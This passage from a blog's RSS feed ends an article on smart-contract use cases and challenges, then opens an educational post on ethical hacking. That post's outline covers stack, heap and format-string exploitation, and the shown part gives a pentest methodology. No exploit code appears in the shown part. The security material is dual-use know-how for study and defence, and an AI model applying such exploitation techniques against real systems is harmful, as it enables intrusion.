&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Cyber-insurance&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Support insurance for the sharing economy, autonomous object insurances, peer-to-peer insurances, improve fraud prevention, etc.&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Corporate Finance and Funding&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Support decentralized venture capital fund that relies on a &lt;i&gt;wisdom-of-the-crowd&lt;/i&gt; voting system to make investment decisions. &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td rowspan=&quot;3&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Life sciences and Health Care&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Electronic Medical Records&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Provide transfer and/or access to metrical health records upon multi-signature approvals between patients and providers.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Population Health Data Access&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Grant health researchers access to personal health information; micropayments are automatically transferred to the patient for participation.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Personal health tracking&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Track patients&apos; health-related actions through IoT devices and automatically generates reward baseds on specific milestones.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td rowspan=&quot;3&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Technology, Media and Telecom&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Royalty distribution&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Calculate and distribute royalty payments to artists and other associated parties according to contracts.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Social networks&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Decentralizing online communities with a clever rating system, censorship and moderation elimination&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;IT Services and Web hosting&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Eliminate risk of &lt;i&gt;Denial Of Service attacks&lt;/i&gt; by having the site stored everywhere&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Energy and resources&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Autonomous electric vehicles charging stations&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Process a deposit, enable the charging station and return remaining fund when complete .&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td rowspan=&quot;2&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Gaming&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Casinos, online gambling and lotteries&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Support &lt;i&gt;provably fair&lt;/i&gt; casino style gambling, eliminating cheating and fees.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Prediction platforms&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;combine prediction market and algorithms with power of decentralization to create forcasting tools&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td rowspan=&quot;3&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Public Sector&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Record-keeping / company registry&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Update private company share registries and capitalization table records, and distribute shareholder communication.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Real-Estate / Land registry&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Maintain land registry, track changes of ownership, update transactions register&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Person registry&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Track civil status of persons, but also marriage contracts and wills, death settlements, etc.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
&lt;td rowspan=&quot;6&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Cross-industry&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Supply chain and trade finance documentation&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Transfers payments upon (digital) multi-signature approval for letters of credit and issues port payments upon custody changes for bills of lading&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Product Provenance / Ownership and History&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Facilitates chain-of-custody processes for products in the supply chain where the party in custody is able to log evidence about the custody.&lt;br&gt; (This is a key use case in so many fields : luxury, gold and diamonds, medical goods, wines, applications, etc.)&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Peer to peer transacting&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Match parties and transfer payments automatically for various peer-to-peer applications: lending, insurance, energy, credits, etc.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Voting&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Validate voter criteria, log vote in the blockchain, and initiate specific action as a result of the majority vote. Also applies to elections, in both public or private sectors.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Person identification&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Support trustworthy identification and proof of identity, proving authenticity of actions, reputation management, access management.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Loyalty programs&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;support tracking of product or service usage (e.g Airline miles)&lt;/td&gt;
&lt;/tr&gt;


&lt;/table&gt;
&lt;/div&gt;


&lt;a name=&quot;sec6&quot;&gt;&lt;/a&gt;
&lt;h2&gt;6. Issues and challenges&lt;/h2&gt;

&lt;p&gt;
Smart contract technology is still in its early stages. One should track both technology and business developments surrounding smart contracts. On the technology side, certain advances will help broaden the applications and adoption of smart contracts.
&lt;/p&gt;
&lt;p&gt;
Challenges with current blockchain are as follows :
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Scalability&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Smart contract platforms are still considered unproven in terms of scalability. Think of high frequency trading and the million of transaction on stock exchanges every second, or the hundreds of thousands of facebook updates. If Big Data technologies is at one side of the scale, then blockchain platforms at at the other side, for now.
&lt;/p&gt;
&lt;p&gt;
The community is aware of this problem and is thinking of (more than working of) several approaches such as sharding of computations or off-chain computations.
&lt;br&gt;
It remains to be seen whether or not any of these solutions can preserve the key selling points of a public blockchain i.e. its trustful, permissionless and decentralized nature.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Access to real world information&lt;/b&gt; 
&lt;/p&gt;
&lt;p&gt;
As discussed above, because smart contracts can reference only information on the blockchain, trustworthy data services-known as &quot;oracles&quot; - that can push information to the blockchain will be needed. 
&lt;br&gt;
Approaches for creating oracles are still emerging. While some initiatives are promising, this is really a new field and where nothing clear and straightforward has emerged now.
&lt;br&gt;
In addition, a lot of issues are not clearly addressed. For instance, what happens when things change: what happens if information sources go away, if previously independent sources merge, if new and better sources emerge?
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Privacy&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The code within smart contracts is visible to all parties within the network, which may not be acceptable for some applications. 
&lt;br&gt;
For instance, some retailers may not want their deals with their suppliers to be public.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Latency and performance&lt;/b&gt;. 
&lt;/p&gt;
&lt;p&gt;
Blockchains suffer from high latency, given that time passes for each verified block of transactions to be added to the ledger. For Ethereum this occurs approximately every 17 seconds - a far cry from the milliseconds to which we are accustomed while using non-blockchain databases.
&lt;br&gt;
Smart Contracts make things even slower and Ethereum&apos;s target of a new block arriving every 12 seconds is quite ambitious and raises the risk of a node drowning under a backlog of work
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Permissioning&lt;/b&gt;. 
&lt;/p&gt;
&lt;p&gt;
While excitement for smart contracts is growing in the realm of both permission-less and permissioned blockchains, the latter is likely to see faster adoption in industry, given that complexities around trust, privacy, and scalability are more easily resolved within a consortium of known parties.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Limits of application&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
There are often good reasons for optionality. In many contracts, clauses are written into things on purpose to create a channel for arbitration. For example in a flat rental agreement, wear-and-tear from tenants is acceptable, but major damage needs to be repaired. How does code define these things? &lt;i&gt;Force majeure&lt;/i&gt; is present in many contracts to allow for wiggle-room for the parties involved. In a smart contract environment, how does one party call that without abusing it or referring to a human arbitrator?
&lt;br&gt;
In addition some business may simply not be modeled in a way that would enable it to benefit from Smart Contracts or other blockchains.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Governance&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
If blockchains are to be sustainable in the long run, serious consideration of appropriate governance mechanisms is needed.
&lt;/p&gt;
&lt;p&gt;
A skewed distribution of mining power and crypto-currency holdings is combined with pseudonymity of account holders and a strong incentive to game the system. This has all the makings for deceptive, unaccountable, fraudulent, and self interested decision making.
&lt;br&gt;
Until hard questions around governance of blockchains are asked, and solutions implemented, we should brace ourselves for more incidents like that which has befallen The DAO.
&lt;/p&gt;

&lt;a name=&quot;sec7&quot;&gt;&lt;/a&gt;
&lt;h2&gt;7. Conclusion&lt;/h2&gt;

&lt;p&gt;
This (yet pretty long) article is really just an introduction to Smart Contracts and blockchain 2.0 technologies. There is so much more to say on both Blockchain 2.0 initiatives in general and Ethereum specifically. I guess I&apos;ll cover some more aspects following my discoveries when playing with Ethereum or discoveries I make on the technology at large.
&lt;/p&gt;
&lt;p&gt;
What I would like to add for now is that the blockchain technology, despite all the hypes and all the investment in fancy startups around it, still need to mature and the issues I described above are real challenges that need yet to be overcome.
&lt;/p&gt;
&lt;p&gt;
Even if Ethereum is widely discussed nowadays, its only a year and a half old and still in an initial stage. Smart Contracts application are being studied and almost every week a new startup is announcing working on a new use case. But still, proven businesses and wide adoption is still far ahead of us.
&lt;/p&gt;
&lt;p&gt;
Having said that, this technology is a definitely a breakthrough and has an amazing potential. &lt;a href=&quot;http://www.intelligenthq.com/finance/12-bitcoin-and-blockchain-thoughts-and-quotes-you-need-to-read/&quot;&gt;Many technology experts&lt;/a&gt; said that its the most disruptive technology they have seen since the apparition of the World Wide Web in the early 90&apos;s. And I believe them.
&lt;/p&gt;
&lt;p&gt;
(Again, see first article in this serie : &lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/entry/blockchain-explained-beta&quot;&gt;Blockchain explained&lt;/a&gt; that provides a pretty complete introduction to the initial bitcoin blockchain technology)
&lt;/p&gt;
&lt;p&gt;
Or see part of this article as a slideshare presentation available here : &lt;a href=&quot;http://www.slideshare.net/JrmeKehrli/blockchain-20-69472625&quot;&gt;http://www.slideshare.net/JrmeKehrli/blockchain-20-69472625&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Also, this article is available in PDF format here: &lt;a href=&quot;https://www.niceideas.ch/blockchain_2.0.pdf&quot;&gt;https://www.niceideas.ch/blockchain_2.0.pdf&lt;/a&gt;.
&lt;/p&gt;

</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/ethical-hacking-vulnerability-exploitation-techniques</guid>
    <title>Ethical hacking : a glimpse on local program vulnerabilities exploitation techniques</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/ethical-hacking-vulnerability-exploitation-techniques</link>
        <pubDate>Fri, 7 Oct 2016 18:19:37 -0400</pubDate>
    <category>Computer Science</category>
    <category>ethical-hacking</category>
    <category>vulnerability-exploitation</category>
    <atom:summary type="html">&lt;p&gt;
Ethical hacking is a very interesting field, and a pretty funny hobby. Well, ya all penetration tester out there, don&apos;t get me wrong: I am well aware that Penetration testing and Ethical Hacking is a full and challenging Software Engineering Field and an actual profession, don&apos;t get upset.
&lt;/p&gt;
&lt;p&gt;
I am rather saying that studying vulnerabilities exploitation techniques in one&apos;s free time is pretty fun and intellectually rewarding. With the all time and everywhere connection of everything for all kind of usages (understand &lt;i&gt;Internet of Things&lt;/i&gt;), current focus in the field of vulnerabilities exploitation is really on Web application, networks, distributed systems, etc.
&lt;br /&gt;
In addition, most recent progresses in CPU-level protections and compiler-level protections have made &lt;i&gt;local programs&lt;/i&gt; exploitation techniques somewhat outdated and such techniques are not very much presented or discussed anymore.
&lt;/p&gt;
&lt;p&gt;
During my master studies, I followed an extended set of lectures on Ethical Hacking and Software Security in general and got quite interested in the field. I wrote a paper for a study in the context of the university at that time which I am reporting today in this blog.
&lt;br /&gt;
The following article presents various classical vulnerabilities exploitation techniques on &lt;i&gt;local programs&lt;/i&gt;.
&lt;/p&gt;</atom:summary>        <description>&lt;!-- Ethical hacking : a glimpse on local program vulnerabilities exploitation techniques --&gt;

&lt;p&gt;
Ethical hacking is a very interesting field, and a pretty funny hobby. Well, ya all penetration tester out there, don&apos;t get me wrong: I am well aware that Penetration testing and Ethical Hacking is a full and challenging Software Engineering Field and an actual profession, don&apos;t get upset.
&lt;/p&gt;
&lt;p&gt;
I am rather saying that studying vulnerabilities exploitation techniques in one&apos;s free time is pretty fun and intellectually rewarding. With the all time and everywhere connection of everything for all kind of usages (understand &lt;i&gt;Internet of Things&lt;/i&gt;), current focus in the field of vulnerabilities exploitation is really on Web application, networks, distributed systems, etc.
&lt;br /&gt;
In addition, most recent progresses in CPU-level protections and compiler-level protections have made &lt;i&gt;local programs&lt;/i&gt; exploitation techniques somewhat outdated and such techniques are not very much presented or discussed anymore.
&lt;/p&gt;
&lt;p&gt;
During my master studies, I followed an extended set of lectures on Ethical Hacking and Software Security in general and got quite interested in the field. I wrote a paper for a study in the context of the university at that time which I am reporting today in this blog.
&lt;br /&gt;
The following article presents various classical vulnerabilities exploitation techniques on &lt;i&gt;local programs&lt;/i&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Summary&lt;/b&gt;
&lt;/p&gt;

&lt;UL CLASS=&quot;ChildLinks&quot;&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html4X0&quot;
  HREF=&quot;node6.html#SECTION00610000000000000XXX&quot;&gt;1. Ethical hacking methodology&lt;/A&gt;
&lt;/UL&gt;
&lt;UL CLASS=&quot;ChildLinks&quot;&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html4X0&quot;
  HREF=&quot;node6.html#SECTION00610000000000000XXY&quot;&gt;2. A focus on Exploitation&lt;/A&gt;
&lt;/UL&gt;
&lt;UL CLASS=&quot;ChildLinks&quot;&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html420&quot;
  HREF=&quot;node6.html#SECTION00610000000000000000&quot;&gt;3. Introduction to memory manipulation&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html421&quot;
  HREF=&quot;node6.html#SECTION00611000000000000000&quot;&gt;3.1 Runtime Memory Organization&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html422&quot;
  HREF=&quot;node6.html#SECTION00611100000000000000&quot;&gt;3.1.1 Text Segment&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html423&quot;
  HREF=&quot;node6.html#SECTION00611200000000000000&quot;&gt;3.1.2 Data and BSS Segments&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html424&quot;
  HREF=&quot;node6.html#SECTION00611300000000000000&quot;&gt;3.1.3 Stack&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html425&quot;
  HREF=&quot;node6.html#SECTION00611400000000000000&quot;&gt;3.1.4 Heap&lt;/A&gt;
&lt;/UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html426&quot;
  HREF=&quot;node6.html#SECTION00612000000000000000&quot;&gt;3.2 Processor Registers (IA32)&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html427&quot;
  HREF=&quot;node6.html#SECTION00620000000000000000&quot;&gt;4. Stack overflows&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html428&quot;
  HREF=&quot;node6.html#SECTION00621000000000000000&quot;&gt;4.1 Introductory example&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html429&quot;
  HREF=&quot;node6.html#SECTION00622000000000000000&quot;&gt;4.2 Shell code&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html430&quot;
  HREF=&quot;node6.html#SECTION00622100000000000000&quot;&gt;4.2.1 Back to our example program&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html431&quot;
  HREF=&quot;node6.html#SECTION00622200000000000000&quot;&gt;4.2.2 Principle&lt;/A&gt;
&lt;/UL&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html432&quot;
  HREF=&quot;node6.html#SECTION00630000000000000000&quot;&gt;5. Stack off-by-one&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html433&quot;
  HREF=&quot;node6.html#SECTION00631000000000000000&quot;&gt;5.1 Illustration example&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html434&quot;
  HREF=&quot;node6.html#SECTION00631100000000000000&quot;&gt;5.1.1 Let&apos;s play with it&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html435&quot;
  HREF=&quot;node6.html#SECTION00631200000000000000&quot;&gt;5.1.2 What happened ?&lt;/A&gt;
&lt;/UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html436&quot;
  HREF=&quot;node6.html#SECTION00632000000000000000&quot;&gt;5.2 Exploitation&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html437&quot;
  HREF=&quot;node6.html#SECTION00633000000000000000&quot;&gt;5.3 Remarks&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html438&quot;
  HREF=&quot;node6.html#SECTION00640000000000000000&quot;&gt;6. Format String bugs&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html439&quot;
  HREF=&quot;node6.html#SECTION00641000000000000000&quot;&gt;6.1 Introductory example&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html440&quot;
  HREF=&quot;node6.html#SECTION00641100000000000000&quot;&gt;6.1.1 Let&apos;s play with it&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html441&quot;
  HREF=&quot;node6.html#SECTION00641200000000000000&quot;&gt;6.1.2 Principle&lt;/A&gt;
&lt;/UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html442&quot;
  HREF=&quot;node6.html#SECTION00642000000000000000&quot;&gt;6.2 Read enviromnent variables&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html443&quot;
  HREF=&quot;node6.html#SECTION00643000000000000000&quot;&gt;6.3 Overwriting any word in memory&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html444&quot;
  HREF=&quot;node6.html#SECTION00644000000000000000&quot;&gt;6.4 Practice : overwriting the &lt;code&gt;.dtors&lt;/code&gt; section&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html445&quot;
  HREF=&quot;node6.html#SECTION00650000000000000000&quot;&gt;7. Heap overflow&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html446&quot;
  HREF=&quot;node6.html#SECTION00651000000000000000&quot;&gt;7.1 Heap organisation&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html447&quot;
  HREF=&quot;node6.html#SECTION00652000000000000000&quot;&gt;7.2 Free chunks&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html448&quot;
  HREF=&quot;node6.html#SECTION00653000000000000000&quot;&gt;7.3 Defragmentation&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html449&quot;
  HREF=&quot;node6.html#SECTION00654000000000000000&quot;&gt;7.4 Heap overflow&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html450&quot;
  HREF=&quot;node6.html#SECTION00655000000000000000&quot;&gt;7.5 Heap overflow Exploitation&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html451&quot;
  HREF=&quot;node6.html#SECTION00660000000000000000&quot;&gt;8. Integer Overflows&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html452&quot;
  HREF=&quot;node6.html#SECTION00661000000000000000&quot;&gt;8.1 Principle&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html453&quot;
  HREF=&quot;node6.html#SECTION00662000000000000000&quot;&gt;8.2 Example&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html454&quot;
  HREF=&quot;node6.html#SECTION00670000000000000000&quot;&gt;9. Protections against Overflows&lt;/A&gt;
&lt;UL&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html455&quot;
  HREF=&quot;node6.html#SECTION00671000000000000000&quot;&gt;9.1 Canaries&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html456&quot;
  HREF=&quot;node6.html#SECTION00672000000000000000&quot;&gt;9.2 Protections implemented in GCC&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html457&quot;
  HREF=&quot;node6.html#SECTION00673000000000000000&quot;&gt;9.3 Address Space Layout Randomization - ASLR&lt;/A&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html458&quot;
  HREF=&quot;node6.html#SECTION00674000000000000000&quot;&gt;9.4 Other possible protections&lt;/A&gt;
&lt;/UL&gt;
&lt;BR&gt;
&lt;LI&gt;&lt;A NAME=&quot;tex2html459&quot;
  HREF=&quot;node6.html#SECTION00680000000000000000&quot;&gt;10. Exploitation frameworks&lt;/A&gt;


&lt;/UL&gt;

&lt;HR&gt;
&lt;BR&gt;


&lt;a name=&quot;SECTION00610000000000000XXX&quot;&gt;&lt;/a&gt;
&lt;h2&gt;1. Ethical hacking methodology&lt;/h2&gt;

&lt;p&gt;
In regards to &lt;b&gt;ethical&lt;/b&gt; hacking, there is some sort of a methodology on which pen testers and &lt;b&gt;ethical&lt;/b&gt; hackers commonly agree.
&lt;/p&gt;
&lt;p&gt;
This methodology is as follows:
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Information Gathering&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
This is Fully passive phase. 
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The goal is to find all possible useful information about the target.
&lt;ul&gt;
&lt;li&gt;Company / persons&lt;/li&gt;
&lt;li&gt;DNS / WHOIS / ...&lt;/li&gt;
&lt;li&gt;Search engines, newsgroups, mailing lists&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Information mainly collected from public sources&lt;/li&gt;
&lt;li&gt;Allows to identify the points that will be most likely vulnerable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Network Mapping&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
First, as a prerequisites, one might need with the results from the previous step to gather the IP address ranges allocated to the target.
&lt;/p&gt;
&lt;p&gt;
The network mapping consists of building a Foot-Print of the network (i.e. foot-printing :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finding of live hosts&lt;/li&gt;
&lt;li&gt;Port and service scanning&lt;/li&gt;
&lt;li&gt;Perimeter network mapping (router, firewalls)&lt;/li&gt;
&lt;li&gt;Identification of critical services&lt;/li&gt;
&lt;li&gt;OS fingerprinting&lt;/li&gt;
&lt;li&gt;Service fingerprinting &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
=&gt; Simply anything the nmap command can do
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Vulnerability Identification&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
At this stage on tries to answer to
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What type of server ?&lt;/li&gt;
&lt;li&gt;What OS ?&lt;/li&gt;
&lt;li&gt;Wich version of OS ? services ? Patched or vulnerable ?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The goals are :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identification of vulnerable services (banners)&lt;/li&gt;
&lt;li&gt;Vulnerability scan (SecurityFocus, CVE, CERT)&lt;/li&gt;
&lt;li&gt;Verification&lt;/li&gt;
&lt;li&gt;Enumerate discovered vulns&lt;/li&gt;
&lt;li&gt;Estimate probable impact&lt;/li&gt;
&lt;li&gt;Identify attack paths and scenarios for exploitation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Penetration / Exploitation&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Now it&apos;s about attempting to exploit the previously discovered vulnerabilities. The exploit can be searched by whatever means (internet, database, tools such as metasploit, etc.)
&lt;/p&gt;

&lt;ul&gt;
